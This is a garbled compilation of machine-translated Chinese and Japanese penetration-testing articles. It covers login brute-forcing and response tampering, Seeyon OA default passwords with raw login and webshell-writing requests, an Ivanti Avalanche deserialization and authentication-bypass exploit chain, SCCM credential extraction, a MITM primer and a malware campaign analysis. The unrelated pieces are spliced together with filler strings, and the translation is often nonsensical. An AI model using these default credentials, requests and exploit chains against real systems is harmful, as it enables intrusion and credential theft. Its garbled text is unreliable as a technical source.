最も基本的なログインボックスから突破します ログインボックスは、HWが最も発生するキャラクターであり、穴から抜け出すのが最も簡単です。一般的に使用されるテスト方法の一部を以下に示します ログインブラストのヒント このようなシステムの爆発に対する2つの解決策があります。 フロントエンドの暗号化アルゴリズムを分析し、スクリプトを書き込み、パスワードを暗号化し、パスワードを123456 000000に修正します。2つの方法には、辞書として一般的なユーザー名を使用して2つの方法が独自の利点と欠点があります。ゲームでより効率的な2番目のものを好み、分析暗号化アルゴリズムはRedチーム検出プロジェクトにより適しています。 爆破されたアカウントのパスワードを使用してバックグラウンドにログインすると、背景のアップロードポイントを見つけ続けることができます アップロードされたファイル形式を制限するために、こちらの画像タイプを参照してください ASPXファイル形式タイプを直接追加します 成功したけいれん 戻りパケットパラメーターを変更し、背景を入力します ウェブサイトのログインステータスがフロントエンドに基づいて判断される場合があり、この時点では、返品パッケージを直接変更してバイパスできます。 フロントエンド判断ログインロジックは、返品パッケージのRET値に基づいて決定されます。返品値が1の場合、ログインが正常にログインされます。 背景を正常に入力しました プラグインは、一般的なSQLインジェクションとLOG4Jの脆弱性を検出します 推奨SQLインジェクションプラグイン3https://GITHUB.COM/SMXIAZI/XIA_SQL 基本原則は、返されたデータの長さに基づいて複数のデータパケットを送信することにより、注入があるかどうかを判断することです。 パッシブスキャンに加えて、シングルとダブルの引用符を手動で追加して、返品パッケージを表示することもできます。同様のエラーがある場合、SQL注入がある可能性があります。 SQLMAPシャトル log4jプラグインはhttps://github.com/thekingofduck/burpfakeipを推奨しました バーププラグインファズパケットを介したヘッダーヘッダー ログインボックスでlog4jの脆弱性を正常に検出しました しかし、多くのDNSLOGプラットフォームはファイアウォールによって黒にマークされていることに注意する必要があるため、シーイを使用したり、DNSLOGプラットフォームを自分で構築することをお勧めします システムデフォルトのパスワード +背景1Day Exploit 攻撃的および防御的な競争がますます頻繁になるにつれて、パブリックネットワークで直接悪用できるフロントエンドの脆弱性はますます少なく、それらのほとんどはバッチスキャンによって修正されていますが、システムのデフォルトパスワードを使用して1日と組み合わせることができます。 デフォルトのパスワードが存在する場合、admin/admin123 タスクをスケジュールするか、背景を入力するときにタスクを脱着することにより、コマンドを実行できます。 OAシステムに遭遇すると多くの場合、OA脆弱性検出ツールを使用して、抜け穴なしでスキャンしてあきらめます。実際、この種のOAシステムでデフォルトのパスワードに問題がある可能性があります。 デフォルトのパスワード システム管理者：システム/システム グループ管理者（A8-V5グループバージョン）Group-Admin/123456 ユニット管理者（A8-V5 Enterprise Edition）Admin1/Admin123456 監査管理者（すべてのバージョン）Audit-Admin/Seeyon123456 フロントデスクでアカウントのパスワードを使用するときにログインできない場合があります。次のデータパケットを送信して、Cookieを取得できます。 POST/SEYYON/REST/認証/UCPCLOGIN HTTP/1.1 host: user-agent: mozilla/5.0（Windows NT 10.0; RV:78.0）Gecko/20100101 Firefox/78.0 Content-Length: 71 Content-Type:アプリケーション/x-www-form-urlencoded Accept-Encoding: GZIP useragentfrom=xxlogin_username=audit-adminlogin_password=seeyon123456 Cookieを取得した後、パッチの新しいバックグラウンドホールを使用して、詳細に使用できます。今回は、コピーファイルの背景穴を使用します。 しかし、実際の戦闘の後、私はこの抜け穴にいくつかの落とし穴があることを発見し、ウェブシェルに書き込むときにエラーが報告されました。 post /seeyon/ajax.do?method=ajaxactionmanagername=portalcssssmanagerrnd=111 http/1.1 Accept: */* content-type:アプリケーション/x-www-form-urlencoded; charset=utf-8 Content-Length: 70 HOST: 192.168.91.17 Connection: Keep-Alive user-agent: apache-httpclient/4.5.13（Java/1.8.0_321） Accept-Encoding: gzip、deflate 引数=％5B％22

中間人(MITM) 攻擊是一個嚴重的網絡安全問題，尤其是在物聯網領域，攻擊者使用它們來闖入網絡並攔截數據。個人用戶和公司都容易受到此類攻擊，因為我們都使用大量聯網設備。 為了減輕MITM 攻擊並將其成功執行的風險降至最低，我們需要了解MITM 攻擊是什麼以及惡意行為者如何應用它們。此外，滲透測試人員可以利用中間人攻擊工具來檢查軟件和網絡是否存在漏洞，並將其報告給開發人員。因此，開發人員可以修復產品的弱點，防止真正的網絡犯罪分子可能的MITM 攻擊。 在本文中，我們將討論MITM 基礎知識：這些攻擊是什麼以及它們的目的。我們將了解在MITM 攻擊的每個階段會發生什麼，並探討用於執行MITM 攻擊的幾種流行實用程序的功能、優缺點。 本文不是關於如何執行MITM 攻擊的指南，但它解釋了使用MITM 工具如何幫助滲透測試者檢測漏洞。 MITM 攻擊：定義和後果什麼是中間人攻擊？中間人(MITM) 攻擊是一種網絡攻擊，惡意行為者在其中秘密中繼並可能改變認為他們直接相互通信的兩方之間的通信。 例如，攻擊者可以將受害者的計算機和服務器（網站、服務或任何其他網絡資源）之間的連接切換到攻擊者作為服務和受害者之間的中介的連接。 圖1. MITM 攻擊方案 MITM 攻擊的目標是訪問用戶的個人數據或用戶訪問的某些資源的數據。如果用戶訪問組織的資源，攻擊者可能會訪問組織網絡中存儲和流通的任何數據，例如銀行數據、用戶憑據、照片、文檔和消息。 MITM 攻擊最常見的受害者是使用大量數據操作的Web 資源：金融組織的網站、SaaS 資源、電子商務網站和其他需要在線授權的服務。 中間人攻擊背後的危險MITM 攻擊的後果是什麼？成功的MITM 攻擊的後果可能導致企業的財務和聲譽損失。 截獲的數據為惡意行為者提供了敲詐他人或以他人為代價購買商品的機會。此外，攻擊者可以使用受害者的憑據來損害公司：例如，通過安裝惡意軟件從公司網絡竊取數據。 MITM 攻擊背後的一個共同意圖是盜竊金錢。 2015 年，有49 名嫌疑人在不同的歐洲國家被捕，他們涉嫌使用MITM 攻擊來嗅探和攔截電子郵件中的付款請求。調查發現了一項總額為600 萬歐元（約合680 萬美元）的國際欺詐計劃。 2019 年，黑客通過攔截一家風險投資公司的100 萬美元電匯，成功敲詐了一家以色列初創公司。惡意行為者執行MITM 攻擊，攔截和編輯來自雙方的每封電子郵件，並註冊虛假域以欺騙雙方。 網絡犯罪分子使用社會工程學並設法將惡意軟件植入目標公司的網絡。使用該惡意軟件，他們通過攔截電子支付交易進行了大量MITM 攻擊。 了解MITM 攻擊的類型將如何幫助您增強軟件測試如何防止中間人攻擊？在滲透測試中，使用中間人攻擊工具的主要目標是發現和修復軟件和網絡中的漏洞。質量保證(QA) 工程師在軟件完全開發後使用MTM 實用程序來測試軟件的潛在易受攻擊部分。然後開發人員可以修復發現的問題並增強產品的安全性，防止真正的攻擊者進行潛在的MITM 攻擊。 本文中描述的實用程序不僅可用於執行攻擊，還可用於測試網絡和軟件安全性。使用MITM 工具檢查產品的保護有助於發現惡意行為者可以利用這些漏洞竊取數據並造成財務和聲譽損失。 此類MITM 工具對物聯網設備製造商特別有用，因為它們可以幫助他們檢查一個網絡中各種設備之間的連接的安全性以及設備和服務器之間連接的安全性。通過徹底的滲透測試，製造商可以生產出高質量的設備，防止未經授權的訪問。 模仿MITM 攻擊有助於QA 專家更好地了解可能的攻擊場景、分析其原因並提出對策。 MITM 攻擊如何運作？ MITM 攻擊包括兩個主要步驟：攔截和解密。每個都有自己的子步驟。讓我們簡要探討一下最常見的。 兩步中間人攻擊 1.可以使用被動或主動攻擊來完成攔截：1.1。被動攻擊。網絡犯罪分子創建一個網絡接入點，允許他們通過互聯網連接到網絡。當受害者連接到網絡時，網絡犯罪分子可以完全訪問和控制受害者的數據流。 1.2. 主動攻擊。此方法包括各種欺騙技術： 马云惹不起马云 IP 欺騙——用目標IP 地址代替攻擊者的地址；將受害者發送到虛假網站而不是原始網站 马云惹不起马云ARP 欺騙– 將受害者發送到的MAC 地址替換為受害者APR 表中攻擊者的地址。因此，當受害者向節點發送數據時，數據將被發送到攻擊者的地址。 马云惹不起马云DNS 欺騙– 入侵DNS 服務器、DNS 緩存中毒和替換指定地址。在這種情況下，受害者被定向到攻擊者的地址。 2.解密攔截數據後，攻擊者以服務器和客戶端都不會注意到中斷的方式對其進行解密。以下是惡意行為者用於這些目的的一些方法： 马云惹不起马云 HTTPS 欺騙– 也稱為同形異義詞攻擊，HTTPS 欺騙是指將目標域中的字符替換為外觀非常相似的其他非ASCII 字符。這種攻擊利用了Punycode——一種允許以非ASCII 格式註冊域的標準。為了進行此類攻擊，網絡犯罪分子註冊一個看起來像目標站點的域並註冊SSL 證書，使虛假網站看起來合法且安全。然後，攻擊者將指向虛假網站的鏈接發送給受害者，受害者認為他們正在使用受保護的網站。 马云惹不起马云SSL BEAST – 這種類型的攻擊將惡意JavaScript 代碼注入會話中，這有助於攻擊者獲得對站點cookie 的訪問權限。這會破壞加密模式，因此網絡犯罪分子會收到解密的cookie 和身份驗證密鑰。 马云惹不起马云SSL 劫持——通過SSL 劫持，有效的計算機會話被利用來獲得對計算機系統中信息或服務的未經授權的訪問。大多數Web 應用程序使用一種登錄機制，該機制生成一個會話令牌以供以後使用，而無需在每個頁面上輸入憑據。通過SSL 劫持，攻擊者使用嗅探器工具攔截流量並識別用戶的令牌以將請求發送到服務器而不是用戶。 马云惹不起马云SSL 剝離– SSL 剝離攻擊利用了大多數用戶訪問SSL 網站的方式。通常情況下，當用戶連接到安全網站時，連接是通過以下方式建立的： 1.連接到網站的HTTP 版本 2.重定向到HTTPS 版本 3.連接到HTTPS 版本 4.服務器顯示證明站點合法的安全證書 5.連接已建立 但是，在SSL 剝離攻擊期間，惡意攻擊者會替換步驟二和三，因此所有客戶端的數據都通過攻擊者的節點傳輸。 圖2. SSL 剝離攻擊方案

IVANTIAVALANCHE漏洞利用（上） 是否需要任何身份驗證？此時，我似乎擁有了發送我自己的信息所需的一切。但是，當我發送時，我看到目標服務沒有任何反應。我查看了InfoRail服務日誌文件，發現了這些有趣的行： InfoRail日誌文件——刪除未經身份驗證的消息 我似乎漏掉了一個重要的部分：身份驗證。有了有關協議和加密的所有詳細信息，我能夠快速識別網絡流量中的註冊消息。這是負載不以XML形式存儲的罕見示例之一。下面的截圖展示了一個註冊消息的片段： 註冊消息的片段 這裡研究人員發現了幾件重要的事情： 马云惹不起马云 --reg.appident——指定嘗試註冊的服務的名稱。 马云惹不起马云--reg.uname/reg.puname——指定看起來像用戶名的東西。 马云惹不起马云--reg.cred/reg.pcred——指定看起來像哈希密碼的東西。 經過大量的代碼分析，我確定了以下內容： 马云惹不起马云--Uname和puname是部分隨機的。 马云惹不起马云--Cred和pcred值是MD5哈希值，基於以下值： 马云惹不起马云--用戶名（.anonymous.0.digits）。 马云惹不起马云--密鑰的適當片段，在源代碼中被硬編碼。 同樣，唯一需要的秘密在源代碼中是可見的。攻擊者可以檢索密鑰並構造他自己的有效註冊消息。 最後，我們可以正確註冊InfoRail服務並將我們自己的消息發送到任何Avalanche服務。 在這個階段，可以驗證ObjectGraph類中沒有實現allowlist的服務。我找出了其中的5個： 马云惹不起马云數據存儲服務(ZDI-CAN-15169)。 马云惹不起马云StatServer服務(ZDI-CAN-15130)。 马云惹不起马云通知服務器服務(ZDI-CAN-15448)。 马云惹不起马云證書管理服務器服務(ZDI-CAN-15449)。 马云惹不起马云Web文件服務器服務(ZDI-CAN-15330)。 我們有五個XStream反序列化終端，可以反序列化我們提供的任何東西。人們可以立即開始考慮利用這種反序列化的方法。首先，XStream對其安全性非常透明。他們的安全頁面（可在此處獲得）基於Java運行時中可用的類提供多個小工具。遺憾的是，沒有合適的小工具適用於我試圖利用的前四個服務，因為沒有加載所需的類。 XStream試圖允許盡可能多的對像圖，默認轉換器幾乎是steroid上的Java序列化。除了對第一個不可序列化的父構造函數的調用之外，Java序列化可以實現的一切似乎都可以通過XStream實現（括代理構造）包。 在較新版本的XStream中似乎沒有代理構造。但是，我們仍然應該能夠使用ysoserial小工具來利用它。那時還沒有用於XStream的Ysoserial小工具，所以我自己創建了幾個。它們可以在這個GitHub存儲庫中找到。 使用我的ysoserialXStream小工具，我成功地在四個Avalanche服務中執行了重構代碼。以下是我能夠利用的服務的摘要，以及所需的小工具： 马云惹不起马云StatServer：使用AspectJWeaver和CommonsBeanutils1利用。 马云惹不起马云數據存儲庫：使用C3P0和CommonsBeanutils1進行利用。 马云惹不起马云證書管理服務器：使用CommonsBeanutils1利用。 马云惹不起马云Avalanche通知服務器：使用CommonsBeanutils1利用。 沒有特別的原因，讓我們關注StatServer。首先，我們必須找到將反序列化包含的XML有效負載的消息的主題和子類別。據此，InfoRail協議消息標頭應包含以下鍵和值： 马云惹不起马云h.distlist=255.3.2.12 马云惹不起马云h.msgsubcat=3502（GetMuCellTowerData消息） 在本例中，我們將使用AspectJWeaver小工具，它允許我們上傳文件。下面是XStream的AspectJWeaver小工具： AspectJWeaver.xml 這個小工具任務如下： 马云惹不起马云iConstant標籤包含Base64文件內容。 马云惹不起马云folder標籤包含上傳目錄的路徑。我的目標是AvalancheWeb應用程序根目錄。 • key標記指定文件的名稱。 有了所有需要的數據，我們就可以開始利用過程了： StatServer利用——上傳Webshell 以下屏幕截圖展示了上傳的webshell和whoami命令的執行。 StatServerExploitation——Webshell和命令執行 成功！綜上所述，可以向Avalanche服務發送消息的攻擊者可以在4個不同的服務中濫用XStream反序列化。 我還在第五個服務上實現了遠程代碼執行。然而，利用這個服務要復雜得多。 利用JNDI查找Java命名和目錄接口(JNDI)查找有很長的歷史，在Log4Shell漏洞出現之前，許多研究人員就已經熟悉了這個向量。 CVE-2021-39146就是一個證明，它是一個觸發查找的XStream反序列化小工具。它是唯一一個對Web File Server服務有效的XStream小工具，對此我無法製作一個有效的ysoserial小工具。 儘管如此，我們仍在處理一個新的Java版本。因此，我們不能濫用遠程類加載。此外，攻擊者不能濫用LDAP反序列化向量(此處有描述[PDF])。使用JNDI注入，我們可以交付序列化的有效負載，然後由目標反序列化。然而，我們沒有意識到任何反序列化小工具可能被濫用在Web文件服務器。如果有任何gadget，我們首先就不需要JNDI查找。幸運的是，在Web文件服務器類路徑中包含了幾個有趣的JAR包。 Web文件服務器- Tomcat jar 可以看到，Web File Server加載了幾個Tomcat JAR包。你可能還熟悉MichaelStepankin發現的技術，它濫用TomcatBeanFactory中的不安全反射通過JNDILookup執行任意命令。 總之，我們可以執行以下攻擊： 马云惹不起马云設置惡意LDAP服務器，該服務器將為惡意BeanFactory提供服務。我們將使用RogueJNDI工具。 马云惹不起马云註冊InfoRail服務。 马云惹不起马云發送包含CVE-2021-39146小工具的消息，以指向在步驟1中定義的服務器的Web文件服務器為目標。 马云惹不起马云Web文件服務器進行LDAP查找並從惡意服務器檢索數據。 马云惹不起马云遠程代碼執行。 LDAP服務器的設置如下圖所示： RogueJndi的設置 下一個片段展示了用於此概念證明的CVE-2021-39146小工具： jndiGadget.xml 如果一切順利，並且成功地執行了查找，那麼Rogue JNDI應該顯示以下消息，並且應該在目標系統上執行代碼。 被觸發的JNDI查找 總而言之，我們能夠濫用自定義的IvantiAvalanche協議和XML消息反序列化機制來利用五種不同的服務並以SYSTEM權限遠程執行代碼。我在IvantiAvalanche中發現了更多反序列化漏洞。接下來，我將繼續討論協議和跨服務通信。 在通信和身份驗證消息中濫用攻擊條件如上所述，各種Avalanche服務在InfoRail的幫助下相互通信。當服務提供響應時，該響應將再次通過InfoRail服務轉發。這項研究的想法是：攻擊者是否有可能欺騙響應？如果是這樣，就有可能濫用IvantiAvalanche行為並執行潛在的惡意操作。 我重點研究了身份驗證操作，如下圖所示： 認證方案當用戶通過AvalancheWeb應用程序登錄面板進行身份驗證時，後端會將身份驗證消息傳輸到EnterpriseServer。此服務驗證憑據並發回適當的響應。如果提供的憑據正確，則用戶將通過身份驗證。 在這個研究過程中，我學到了兩件重要的事情： 马云惹不起马云攻擊者可以註冊為任何服務。 马云惹不起马云身份驗證消息分佈在註冊的Enterprise Server的每個實例中。 據此，攻擊者可以將自己註冊為企業服務器，並截獲傳入的身份驗證消息。但是，這種行為並沒有什麼直接的後果，因為傳輸的密碼是經過哈希和加密的。 下一個問題是是否可以將攻擊者自己的響應傳遞給AvalancheWeb，以及它是否會被接受。事實證明，是的，這是可能的！如果你想提供自己的響應，則必須在消息標頭中正確設置兩個值： 马云惹不起马云Origin——發送消息的AvalancheWeb後端的主題(ID)。 马云惹不起马云MsgId——原始身份驗證消息的消息ID。 這兩個值都比較容易獲得，因此攻擊者可以對消息提供自己的響應。它將被正在等待響應的服務接受。下圖展示了一個攻擊場景示例。 攻擊條件攻擊場景如下： ——攻擊者嘗試使用錯誤的憑據登錄Web應用程序。 ——Web應用程序發送認證消息。 ——InfoRail服務將消息發送到兩台企業服務器：合法服務器和惡意服務器。 ——攻擊時間： ——合法服務器以“錯誤憑據”消息響應。 ——惡意服務器以“credentialsOK”消息響應。如果攻擊者的服務器首先傳遞消息，則將其轉發到AvalancheWeb應用程序。 ——攻擊者獲得身份驗證。 請注意，針對攻擊者服務器的“登錄消息”不是故意存在的（儘管它實際上是傳輸給攻擊者的）。我想強調一個事實，即可以在不可能讀取消息的情況下利用這個問題。在此攻擊中，攻擊者必須暴力破解已經提到的消息ID值。它使整個攻擊複雜化，但仍然有可能被利用。 總結這一部分，攻擊者可以設置自己的惡意Enterprise Server，並濫用攻擊條件來向Web應用程序交付自己的身份驗證響應。還有兩件事需要調查：響應消息是什麼樣的，我們能否緩解攻擊？ 身份驗證處理以下代碼段提供了對登錄消息的示例響應。請注意，這些消息在合法使用期間會更大。但是，對於概念驗證，我已將它們最小化並僅存儲了開發所需的那些部分。 響應消息由幾個重要部分組成： 马云惹不起马云它包含一個responseObject標記，它是一個序列化的用戶對象。 马云惹不起马云它包含一個非常重要的responseCode標籤。 马云惹不起马云在身份驗證期間的某個時刻，Web後端調用UserService.doLogin方法： doLogin.java 在[1]處，UserCredentials對像被實例化。然後，設置其成員。 在[2]處，將調用authenticate方法，並將在[1]處初始化的對像作為參數傳遞： authenticate.java 在[1]處，初始化UserLogin對象。 在[2]處，UserCredentials對像被序列化。 在[3]處，消息正在發送到企業服務器，Web後端等待響應。 在[4]處，驗證響應中包含的responseCode。我們希望它等於0。 在[5]處，userLogin.authenticated設置為True。 在[6]處，userLogin.currentUser被設置為包含在responseObject中的對象。 在[7]處，該方法返回userLogin對象。 基本上，響應應該有一個等於0的responseCode。它還應該在responseObject標記中包含一個正確序列化的User對象。 最後，我們分析負責調用doLogin函數的UserBean.loginInner方法的片段。 loginInner.java 在[1]處，調用doLogin方法。它檢索UserLogin類型的對象。 在[2]處，它將this.currentUser設置為userLogin.currentUser。 在[3]處，它設置各種其他設置。 有一件非常重要的事情需要注意：Web後端不會將登錄面板中提供的用戶名與企業服務器檢索到的用戶名進行比較。因此，攻擊者可以： 马云惹不起马云觸髮用戶名為“poc”的身份驗證。 马云惹不起马云贏得攻擊並在響應中提供用戶“amcadmin”。 马云惹不起马云然後攻擊者將被認證為“amcadmin”。 總而言之，攻擊者似乎沒有任何障礙，他的響應應該由WebBackend處理，沒有任何問題。接下來，我們將注意力轉向防禦。 在默認安裝中，EnterpriseServer和InfoRail服務與Web後端位於同一主機上。這使得攻擊條件的利用變得更加困難，因為合法的通信由本地接口處理，這比通過外部網絡接口的通信要快得多。 儘管如此，攻擊者還是有一些優勢。例如，他不必生成動態響應，因為響應負載可以在漏洞利用中進行硬編碼。下表概述了攻擊者和合法EnterpriseServer必須執行的操作。 攻擊者從原始登錄消息中獲取消息ID，並將其放置在標頭中。 發送靜態響應。 企業服務器從原始登錄消息中獲取消息ID並將其放在標頭中。 解密並驗證用戶的憑據。 檢索用戶的詳細信息並創建用戶對象。 動態創建響應。 遠程攻擊者需要執行的操作要少得多，可以更快地準備響應。它使攻擊可以順利進行。 未經身份驗證的攻擊者可以修改Avalanche系統設置。這是由於一個單獨的漏洞允許繞過域身份驗證(ZDI-CAN-15919)。遠程攻擊者可以啟用基於LDAP的身份驗證並為LDAP服務器配置設置任何地址。在這種情況下，合法的EnterpriseServer將首先嘗試訪問這個“非法”身份驗證服務器。這將給攻擊者額外的1 - 2秒時間(如果使用得當，甚至更多)。這樣，攻擊者就可以獲得更多的時間來發起攻擊。

Microsoft系統中心配置管理器(SCCM)。 SCCM是一款微軟產品體系架構下的桌面端，服務器，移動端管理產品。主要是負責桌面標準化，網絡批量安裝部署軟件和操作系統，殺毒策略，資產收集，移動端管理等等。是一款作為IT管理員，企業基礎架構管理的必備工具。在這篇文章中，我們將介紹SCCM 如何使用其HTTP API 來初始化客戶端。我們還將了解如何從SCCM 檢索網絡訪問帳戶，以及我們如何解密這些憑據而無需使用DPAPI 或管理員帳戶。 實驗室設置對於我們的實驗室設置，我們將使用默認的SCCM 部署。我發現最簡單的方法是通過自動化實驗室，它支持通過ConfigurationManager 角色進行安裝： 我們將在這篇文章中使用的版本是Configuration Manager 2103，我們將把我們的主站點命名為P01。本實驗的服務器將稱為SCCM01，我們將配置為使用HTTP 進行通信。 一旦SCCM服務器的設置完成，我們將把一切都保留為標準，並添加一個Network Access Account供以後使用： 完成後，我們就可以繼續探索了！ 客戶端註冊讓我們首先看看客戶機嘗試向SCCM註冊時生成的請求。為了做到這一點，我們使用@_Mayyhem awesome SharpSCCM工具： 當SharpSCCM 調用實際的.NET 客戶端庫時，我們會收到一個清晰的請求，我們可以使用WireShark 來識別它。客戶端向SCCM 服務器註冊的初始步驟如下： 這個HTTP 請求被發送到SCCM 服務器，由兩部分組成，一個是XML 編碼的標頭，另一個是在多部分/混合HTTP 請求中發送的XML 編碼的正文。有趣的是，該協議還使用了CCM_POST 的HTTP 方法。 標頭採用UTF-16 編碼，如下所示： 請求正文是zlib壓縮和Unicode編碼： 為了簡單起見，我刪除了一些較長的十六進製字符串，但我們在這裡看到的是三個十六進制blob被發送到服務器，以及一些關於我們的客戶端的初始信息。 讓我們轉儲Signing blob： 如果我們看這個，我們實際上會看到這是一個DER 編碼的證書： 生成此證書時，添加了兩個擴展密鑰使用OID： 這些將證書標記為短信簽名證書(自簽名)。 因此，我們看到客戶端證書被傳遞給SCCM服務器以供稍後使用，但是SignatureValue字段呢？讓我們啟動dnSpy並深入研究System.ConfigurationManagement.Messaging.dll程序集，該程序集位於安裝了客戶端的主機上的C:\Windows\CCM 中。 經過一番搜尋，我們在Interop.Crypt32.HashAndSignData中找到了答案： 這表明，使用帶有PKCSv15填充的RSA- sha256正在使用與證書關聯的RSA 私鑰對XML 請求正文進行簽名。 這裡需要注意的一件奇怪的事情是，一旦生成簽名，字節在ASCII十六進制編碼並添加到請求¯\_(ツ)_/¯之前會被反轉。 當服務器響應這個客戶端註冊請求時，我們再次看到有一個XML 標頭和正文，其中正文數據被zlib 壓縮。可以看到我們被分配給了ClientID，它是在我們的客戶端與服務器通信期間使用的UUID： 在這個階段值得注意的是，這個請求可以發送到未經身份驗證的SCCM URL http://SCCM01/ccm_system/request。這足以向SCCM添加一個客戶端條目，但是我們將處於“未批准”狀態。這種狀態在以後會變得很重要： 政策要求客戶端註冊後，客戶端執行的下一個階段是檢索策略列表。此調用還使用 不幸的是，這是事情變得有點複雜的地方。我們首先需要關注的是PublicKey blob。這實際上只是客戶端之前為證書生成的RSA 公鑰，但是這次它被編碼為PUBLICKEYBLOB。 接下來是ClientIDSignature。這是我們之前看到的用於簽署ClientID 的RSA-SHA256 簽名，前面帶有GUID:然後轉換為Unicode。例如： 最後是PayloadSignature，它是隨後壓縮的主體的簽名。 這個請求的主體是zlib 壓縮和Unicode 編碼的，帶有我們客戶端的信息： 對該請求的響應是XML主體中可用的策略列表： 雖然這裡有很多有趣的東西，但我們現在要關注的領域將是網絡訪問帳戶的共享方式。 秘密政策如果你遍歷我們檢索到的策略列表，你一定會遇到標記為“秘密”的策略。其中一個策略是NAAConfig，它包含了網絡訪問帳戶： 你可能已經看到@gentilkiwi 在2021 年發布的Mimikatz 更新中引用了這些帳戶，這表明通常這些憑據是在SCCM 客戶端上使用DPAPI 加密的： 但是，如果我們嘗試使用RequestAssignments 請求返回的URL 直接下載此策略，我們會看到出現一個錯誤。 這樣做的原因是需要對秘密策略的請求進行身份驗證。但是由於這是SCCM，所以還需要進行另一種類型的身份驗證。 經過一番搜尋之後，我發現了對SCCM 服務器上名為ccmgencert.dll 的DLL 中使用的身份驗證類型的引用： 既然我們知道了一些使用的簽名方法，這些標頭實際上可以很容易被創建。看看被添加到SCCM平台的客戶端，我們看到它們是這樣的： ClientToken只是我們的cliententid和當前DateTime的一個連接。 ClientTokenSignature是使用上面相同的RSA-SHA256算法的簽名。 讓將這些標頭添加到我們的請求中，看看會得到什麼： 這一次，我們得到了不同的回應。我的意思是我們出現錯誤，但我們也沒有得到任何不好的數據。 事實證明，對於我們的客戶端實際請求秘密策略，他們需要在服務器上處於Approved 狀態。 默認情況下，SCCM 安裝有以下內容： 那麼，計算機是如何自動自我認可的呢?還有另一個URL被/ccm_system_windowsauth/request的客戶端使用。如果之前的XML ClientRegistrationRequest被發送到這個路徑，並完成NTLMSSP驗證計算機帳戶，則客戶端設置為Approved 狀態： 現在，當對此URL 進行身份驗證時，我們似乎可以使用任何隨機域用戶帳戶。然而，問題是它似乎不足以迫使客戶進入批准狀態。相反，我們需要使用計算機帳戶（儘管它不需要與我們嘗試註冊的客戶端相對應），所以addcomputer.py 在這裡非常有用。 通過將此身份驗證步驟添加到我們的註冊請求並強制我們的客戶端進入Approved 狀態，下次我們請求NAAConfig 策略時，我們會得到如下所示的內容： 好吧，回到dnSpy，我們去嘗試弄清楚。答案在Interop.DecryptMessageFromCertificateFile 方法中找到，該方法顯示了CryptDecryptMessage API 調用的使用。 參數顯示此加密策略是使用3DES CBC 的PKCS7 編碼blob，其密鑰源自我們之前在證書中提供的RSA 公鑰。 解密後，我們終於看到了一些實際的憑證，如下所示： 網絡訪問帳戶混淆起初，獲取這些賬戶似乎需要更多的加密貨幣。但是MimiKatz 已經向我們展示了這些憑據最終可以在客戶端上訪問，因此我們知道我們的客戶端必須能夠在使用DPAPI 保護它們之前以某種方式解密這些憑據……那麼密鑰是什麼？在尋找這個加密是如何完成的之後，我在客戶端上找到了一個名為PolicyAgent.dll 的DLL。 最重要的是調試字符串： UnobfuscateString 聽起來很有希望，當然聽起來比DecryptString 更好。我沒有深入研究這個反彙編的所有部分，而是創建了一個快速調試工具來調用這個函數。 當運行在與SCCM實驗室網絡無關的主機上時，並且連接到調試器以逐步解決通過以這種方式調用方法而發生的不可避免的訪問衝突時，就會解密用戶名和密碼： 這意味著所使用的加密與描述的完全一樣，它是被混淆的！我們擁有在密文中解密這些憑證所需的所有信息，而且我們可以完全離線完成！ 通過重新創建unobfuscation方法的步驟，我們可以創建如下所示的解密代碼。 有了計算機帳戶，我們就可以在SCCM 中添加虛假客戶端，下載加密的網絡訪問帳戶憑據，並對其進行解密，而無需處理提升權限或任何DPAPI 解密。

在2022年2月，卡巴斯基實驗室的研究人員首次觀察到將shellcode放入Windows事件日誌的技術。該技術允許在文件系統中隱藏“無文件”最後stager的木馬。這種對活動中事件日誌的關注不僅限於存儲shellcode。 Dropper 模塊還修復了與事件跟踪(ETW) 和反惡意軟件掃描接口(AMSI) 相關的Windows 原生API 函數，以使感染過程更加隱蔽。 除了事件日誌之外，攻擊者的工具集中還有許多其他技術。其中，開發者在功能中增加了偵察，可以模仿合法域名的C2 Web 域名，以及受害者使用的現有和軟件的名稱。為了使攻擊更加隱蔽，攻擊者使用Linode、Namecheap、DreamVPS 上的虛擬專用服務器。 一種更常見的方法是使用大量的反檢測解密器。攻擊者使用不同的編譯器，從微軟的cl.exe 或MinGW 下的GCC 到最新版本的Go。此外，為避免被檢測到，某些模塊使用數字證書進行簽名。研究人員認為它是由攻擊者發布的，因為遙測數據沒有顯示任何與之簽名的合法軟件，只有這次活動中使用的惡意代碼。 關於最後stager的特洛伊木馬，攻擊者決定使用多個基於HTTP 和命名管道。顯然，除了事件日誌之外，攻擊者還痴迷於內存注入，許多RAT 命令與它相關並且被大量使用。除了上述自定義模塊和技術外，攻擊者還使用了一些商業滲透測試工具，如Cobalt Strike 和SilentBreak 的工具集。 感染鏈研究人員從內存中的最後一個stager開始研究，然後使用遙測技術，重建了幾個感染鏈，該活動的針對性很強，且使用的大量工具還包括商業工具。 該活動包括各種技術和模塊，讓我們把它分成幾類來從技術上描述這個活動，比如商業滲透測試套件、圍繞它們的自定義反檢測包裝器和最後stager的木馬。 商業工具集有：反檢測包裝器——大量使用系統調用庫的Go 解密器，這可以使Cobalt Strike 模塊多次編碼，並使用AES256 CBC 加密blob，這是首次觀察到擁有Cobalt Strike 的Go的使用情況。 反檢測包裝器——一個庫啟動器，在MinGW 環境下使用GCC 編譯。這個stager唯一可能的原因是反檢測。 反檢測包裝器——AES 解密器，使用Visual Studio 編譯器編譯； 最後stagerRAT——基於HTTP 的木馬，可能的原始名稱是ThrowbackDLL.dll 和drxDLL.dll，但代碼比SilentBreak 的Throwback 的舊版本更複雜。 最後stagerRAT——基於管道的命名木馬，可能的原始名稱是monolithDLL.dll 和SlingshotDLL.dll。根據文件名，最後stager模塊可能是商業Slingshot 版本的一部分。 同樣，我們認為定制的一些模塊(如包裝器和最後stager)可能是商業產品的一部分。分類之後，我們準備一個一個地分析模塊。 初始感染我們觀察到的最早攻擊stager發生在2021 年9 月。 Cobalt Strike 模塊的傳播是通過說服目標下載合法站點file.io 上的.rar 鏈接並自行運行來實現的。內部Cobalt Strike 模塊的數字證書如下（在使用相同的活動期間，從wrapper 到last stagers 簽署了15 個不同的stager）： 由於所有目標主機的感染情況不同，我們將僅描述觀察到的一種情況。由於能夠使用木馬將代碼注入任何進程，攻擊者可以自由地廣泛使用此功能將下一個模塊注入Windows 系統進程或受信任的應用程序（如DLP）。 記住截斷的進程注入，甚至模仿Web 域註冊，我們可以將攻擊過程描述為非常迭代（quite iterative）：對一些模塊進行初始偵察，然後準備額外的攻擊。 商業工具集關於商業工具，這次活動中使用SilentBreak 和Cobalt Strike 工具集的痕跡非常明顯。名為ThrowbackDLL.dll 和SlingshotDLL.dll 的木馬讓我們想起Throwback 